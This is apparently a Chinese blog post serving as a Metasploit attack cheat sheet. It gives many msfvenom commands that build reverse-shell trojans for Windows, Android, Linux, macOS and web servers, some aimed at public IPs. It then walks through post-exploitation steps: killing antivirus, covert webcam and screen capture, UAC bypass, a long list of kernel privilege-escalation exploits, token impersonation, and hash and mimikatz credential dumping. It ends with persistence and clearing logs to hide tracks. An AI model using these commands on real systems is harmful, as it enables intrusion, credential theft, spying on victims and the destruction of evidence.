【原创 精华】msf渗透

基础

模块含义

  • auxiliary:主要包含渗透测试中一些辅助性脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等。
  • encoders:编码工具,用于躲过入侵检测和过滤系统。
  • exploit:主要包括了 exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这个目录下,这里边包括的 exp 的路径的命名规则是:系统/服务/模块,在使用的exp 是可以根据这个命名方法来找(也可以用 search 这条指令来找)。比如: use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)
  • payload:攻击载荷,是攻击者发送给系统执行的指令的。payload主要是在目标机执行的,exploits是在本地执行作用于目标机。
  • post:该目录存放exploits执行成功后,向目标机发送的一些功能性指令,如:提权、获取hash等。

常用命令

search //搜索

use+编号 //利用

show options //查看参数

info  //展示出指定渗透攻击或模块的相关信息

set  //设置参数

run  //执行

back  //退出当前模块

常用载荷使用(不强调大小写)

RHOSTS  //对方ip

LHOSTS  //自己ip

RPORT  //端口,一般默认的就行

VERBOSE //打印输出,显示当前在干什么

STOP_ON_SUCCESS  //破解成功后停止操作

USER_FILE //接用户名字典

PASS_FILE  //接密码字典

爆破

常用的为mysql和ssh爆破

自带字典位置

/usr/share/metasploit-framework/data/wordlists/

ssh

search ssh_log

mysql

大概意思同上

攻击

搜索search samba,选择excellent提高成功率

在本地环境使用samba进行攻击会出现这个

原因是Windows是中文的,要英文版即可

远程的不管是否能行试一下就可以了


生成木马

注:bind_tcp为正向连接,reverse_tcp为反向连接

反向连接木马是攻击机开放端口,靶机连过来;
正向连接木马是靶机开放端口,攻击机连过去;

windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 -f exe -o 123.exe

msfvenom -p windows/meterpreter/bind_tcp  LPORT=<Attack Port> -f dll >/root/bind_xx.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.134.131 LPORT=8899 RC4PASSWORD=admin123456qqq -f dll -o ~/y.dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.4 lport=1212 -e x86/shikata_ga_nai -i 5 -f c > t.c

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.133.132 lport=1212 -e x86/shikata_ga_nai -i 5 -f raw > test.c

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw -o shellcode.raw

msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex LHOST=192.168.134.131 LPORT=4444 -o msf.txt

安卓app

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -o ~/Desktop/test2.apk  

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f  elf > shell.elf

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=34.92.252.2 LPORT=10053 -f  elf > cloud

msfvenom -p linux/x64/meterpreter_reverse_https LHOST=192.168.134.131 LPORT=6666 -f  elf > shell

msfvenom -p cmd/unix/reverse_bash lhost=34.92.252.2 lport=10001 R

Mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f macho >  shell.macho

PHP:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666  -f asp > shell.asp

ASPX:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666  -f  aspx > shell.aspx

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f  raw > shell.jsp

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.85.130 LPORT=6666 -f   raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.85.130 LPORT=6666 -f raw > shell.pl

Python

msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.85.130 LPORT=6666 -f   raw > shell.py

java

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 W > text.jar  

war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=端口 -f war > shell.war
msfvenom -p java/meterpreter/reverse_http LHOST=ip LPORT=端口 -f war > shell.war

powershell

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f psh > shell.ps1 
powershell.exe -ExecutionPolicy Bypass -File shell.ps1

Create User

msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe

大致步骤

在攻击机上开启监听

use exploit/multi/handler

上面生成的马开启的是哪个就设置哪个

开启监听并在目标机上运行木马

反弹成功后常用命令

进程迁移

ps //查看目标机正在运行的进程

getpid //查看当前进程

migrate N//迁移进程,N为PID号,有些可能会迁移失败多试几个

run post/windows/manage/migrate //自动迁移进程

kill N //强制结束进程,N为PID号

进程迁移后原先的进程会自动销毁,如果没有销毁则使用kill强制杀掉

meterpreter命令

sysinfo //查看目标系统命令

run post/windows/gather/checkvm  //查看是否运行在虚拟机上

route  //查看网络设置

run post/windows/manage/killav //关闭杀毒软件

background  //把当前会话放入后台,会给出个session值,回到会话参照图一,任何地方都是可以回去的

getuid  //查看当前用户

run post/windows/manage/enable_rdp  //开启远程桌面

run post/multi/manage/autoroute  //自动添加路由

route add 0.0.0.0 0.0.0.0 4 //手动添加路由(全网段),4表示session值 见图三

route print // 查看已添加对的路由 见图三

run post/windows/gather/enum_applications  //目标机上的应用程序

run post/windows/gather/credentials/windows_autologin  //抓取自动登录的用户名和密码,一般不行

load espia //加载Espia插件

screengrab  //抓取目标机的屏幕截图,先加载Espia再用此命令

screenshare  //实时显示目标机屏幕

webcam_list  //查看目标机有无摄像头

webcam_snap  //抓取照片

webcam_stream  //摄像头直播

shell  //进入目标机shell

exit  //返回

pwd  //查看当前处于目标机哪个目录


cd C:\\Users\\华扬\\Desktop 切换目录,当然也可以加转义字符


search -f *.txt -d C:\\Users\\华扬\\Desktop  //搜索文件,要搜索整台电脑search -f *.txt即可


download C:\\Users\\华扬\\Desktop\\新建文本文档.txt /root  //下载目标文件


upload /home/huayang/123.exe C:\\Users\\华扬\\Desktop  //上传文件到目标机器
图一
图二
图三

提权

相关命令

chcp 65001  //在shell下执行以防止乱码

getsystem提权

可能性较低,可以试一下

getsystem 

bypassuac

search bypassuac  /下面的项目都是可以用于提权的
exploit/windows/local/bypassuac  //成功率最高

exploit/windows/local/bypassuac_eventvwr //成功率最高

windows/local/bypassuac_vbs  //成功较高

exploit/windows/local/bypassuac_injection   //针对x86

exploit/windows/local/bypassuac_comhijack  //针对x86

windows/local/ask

exploit/windows/local/bypassuac_sdclt  //强烈不建议使用

exploit/windows/local/bypassuac_dotnet_profiler  //强烈不建议使用

提权并不是马上成功,后面还需要加上getsystem

内核提权

方法一

run post/windows/gather/enum_patches //查询已安装的补丁

use post/multi/recon/local_exploit_suggester //查询可使用漏洞,结果可信度较低,不妨一试

查询的补丁如msf没有可在github下载

https://github.com/SecWiki/windows-kernel-exploits

方法二

用systeminfo查看安装了哪些补丁

然后再在下表对应版本找哪些补丁没有安装,搜索编号攻击即可

CVE-2021-1732 [Windows Win32k 提权漏洞] (Windows 10, 2019/20H2)
CVE-2020-0787【Windows后台智能传输服务提权漏洞】(Windows 7/8/10、2008/2012/2016/2019)
CVE-2020-0796 [Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在一个远程代码执行漏洞,即“Windows SMBv3 客户端/服务器远程代码执行漏洞”] (Windows 1903/1909 )
CVE-2019-1458 [当Win32k组件无法正确处理内存中的对象时,Windows中存在一个特权提升漏洞](Windows 7/8/10/2008/2012/2016)
CVE-2019-0803 [Win32k 组件无法正确处理内存中的对象时,Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016/2019)
CVE-2018-8639 [Win32k 组件无法正确处理内存中的对象时,Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016)
CVE-2018-1038 [Windows 内核提权漏洞](Windows 7 SP1/Windows Server 2008 R2 SP1)
CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege Vulnerability](Windows 10 版本 1703/Windows 10 版本 1709/Windows Server 版本 1709)
CVE-2018-8453 [Windows Win32k 组件中的提权漏洞] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC 提权漏洞] (windows 7/8.1/10/2008/2012/2016)
MS17-017  [KB4013081] [GDI 调色板对象本地权限提升](Windows 7/8)
CVE-2017-8464  [LNK远程执行代码漏洞](Windows 10 / 8.1 / 7/2016/2010/2008)
CVE-2017-0213  [Windows COM 提权漏洞] (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 空指针取消引用拒绝服务] (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k 提权漏洞] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010  [KB4013389] [Windows 内核模式驱动程序] (windows 7/2008/2003/XP)
MS16-135  [KB3199135] [Windows 内核模式驱动程序] (2016)
MS16-111  [KB3186973] [内核 API] (Windows 10 10586 (32/64)/8.1)
MS16-098  [KB3178466] [内核驱动程序] (Win 8.1)
MS16-075  [KB3164038] [热土豆] (2003/2008/7/8/2012)
MS16-034  [KB3143145] [内核驱动程序] (2008/7/8/10/2012)
MS16-032  [KB3143141] [辅助登录句柄] (2008/7/8/10/2012)
MS16-016  [KB3136041] [WebDAV] (2008/Vista/7)
MS16-014  [K3134228] [远程代码执行] (2008/Vista/7)
MS15-097  [KB3089656] [远程代码执行] (win8.1/2012)
MS15-076  [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077  [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839] [内核驱动程序] (2003/2008/7/8/2012)
MS15-051  [KB3057191] [Windows内核模式驱动程序](2003/2008/7/8/2012)
MS15-015  [KB3031432] [内核驱动程序] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010  [KB3036220] [内核驱动程序] (2003/2008/7/8)
MS15-001  [KB3023266] [内核驱动程序] (2008/2012/7/8)
MS14-070  [KB2989935] [内核驱动程序] (2003)
MS14-068  [KB3011780] [域权限提升] (2003/2008/2012/7/8)
MS14-058  [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-066  [KB2992611] [Windows Schannel 允许远程代码执行] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1)
MS14-040  [KB2975684] [AFD 驱动程序] (2003/2008/2012/7/8)
MS14-002  [KB2914368] [NDProxy] (2003/XP)
MS13-053  [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005  [KB2778930] [内核模式驱动程序] (2003/2008/2012/win7/8)
MS12-042  [KB2972621] [服务总线] (2008/2012/win7)
MS12-020  [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080  [KB2592799] [AFD.sys] (2003/XP)
MS11-062  [KB2566454] [NDISTAPI] (2003/XP)
MS11-046  [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011  [KB2393802] [内核驱动程序] (2003/2008/7/XP/Vista)
MS10-092  [KB2305420] [任务计划程序] (2008/7)
MS10-065  [KB2267960] [FastCGI](IIS 5.1、6.0、7.0 和 7.5)
MS10-059  [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048  [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012  [KB971468] [SMB 客户端 Trans2 堆栈溢出] (Windows 7/2008R2)
MS09-050  [KB975517] [远程代码执行] (2008/Vista)
MS09-020  [KB970483] [IIS 6.0](IIS 5.1 和 6.0)
MS09-012  [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068  [KB957097] [远程代码执行] (2000/XP)
MS08-067  [KB958644] [远程代码执行] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066  [KB956803] [AFD.sys] (Windows 2000/XP/Server 2003)
MS08-025  [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040  [KB921883] [远程代码执行] (2003/xp/2000)
MS05-039  [KB899588] [PnP 服务] (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980] [RPC接口中的缓冲区溢出](/ NT / 2000 / XP / 2003)

https://github.com/SecWiki/windows-kernel-exploits

令牌窃取

基础知识

令牌(Token)就是系统的临时秘钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于那个用户的。他允许你在不提供密码或其他凭证的前提下,访问网络和系统资源

相关命令

use incognito   //加载模块

list_tokens -u //列出可用的token,先加载模块才可以使用这个

impersonate_token + token  //伪造令牌,token记得使用\\

实战利用

用win7和winsever2012在普通用户下都只有一个token

其实令牌的数量取决于shell的访问级别也就是获取的权限

当我提权为system级别时,多出来三个令牌

实战中可能有些普通用户有高权限令牌,不然怎么叫提权呢

这里为了实验就只能将就一下了

我们现在拥有的是system权限

我们就用此方法降权试试看,

原理都是相同的,只要有令牌正反都可试试看

降为user权限,也就是WIN-GT4B41U3H8D\华扬

一系列操作过后发现可行,感觉此方法多用于降权使用

注意:在输入tooken是记得要输入双反斜杠(\\)

Hash攻击

基础命令

hashdump  //导出目标机sam的hash值

run post/windows/gather/smart_hashdump //更为强大的导出目标机sam的hash值

实战利用

hash模块

这条命令需要管理员权限和管理员权限的进程才能使用

我现在是管理员权限依旧报错

同时还需要管理员权限的进程才可以使用,很很显然我们现在的是普通用户的运行程序

找到含有system权限的进程,我们在system权限下把进程迁入2304这个进程

成功拿到hash值

格式为

用户名称: RID:LM-HASH 值: NT-HASH 值,rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等。而 lm 的 hash 和 nt 的 hash,他们都是对用户密码进行的加密,只不过加密方式不一样。复制其中一种加密的 hash 可以直接使用在线 cmd5 破解

smart_hashdump

相较于hashdump smart_hashdump则更加强大

不需要system进程,还不会乱码

win7以上的系统还需要绕过UAC也就是还是要system下才能运行

其中这个解出来就为管理员密码

QuarksPwDump

拿到shell后我们需要把文件传到目标机

现在我们是低权限,不能随便传目录

只有传送users目录下的用户

不知道用户名怎么办?

我们先cd c:\users再ls看看即可

知道了用户名我们最好传入文档里(记得是两个反斜杠\\),也就是C:\Users\华扬\Documents

经过测试这种方法只能使用windows xp系统

xp随便传入哪里都不需要使用管理用户,所以我们就直接传入xp的c盘

kiwi模块(也就是老版本的mimikatz)

基础命令

load kiwi  //开启模块

creds_all  //获取密码

kiwi_cmd sekurlsa::logonpasswords  //获取密码

实战

这个必须要system权限才能使用,所以也没啥用

移植漏洞利用代码模块

这里以永恒之蓝为例

地址:https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/

权限维持

Persistence模块

run persistence -A -S -U -i 10 -p 2333 -r 172.16.181.8


A:自动启动payload程序

S:系统启动时加载

U:用户登录时自动启动

i:回连的时间间隔

p:监听反向连接端口号

r:目标机器IP地址

本地测试未果

使用成功会返还一个session

Metsvc 模块

run metsvc -A

会在目标机器上开一个服务

监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell

本地实验还是失败,不知道为啥会死亡

擦屁股

删除添加的账号
net user 用户名 /del

删除日志
clearev

关闭所有session连接
session -K

参考:

《Web安全攻防》

系统内核溢出漏洞提权分析和防范

windows提权常用系统漏洞与对应的补丁编号

MSF路由转发

msf生成木马

MSF(metasploit-framework)的目录结构及基本命令

==>转载请注明来源哦<==
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇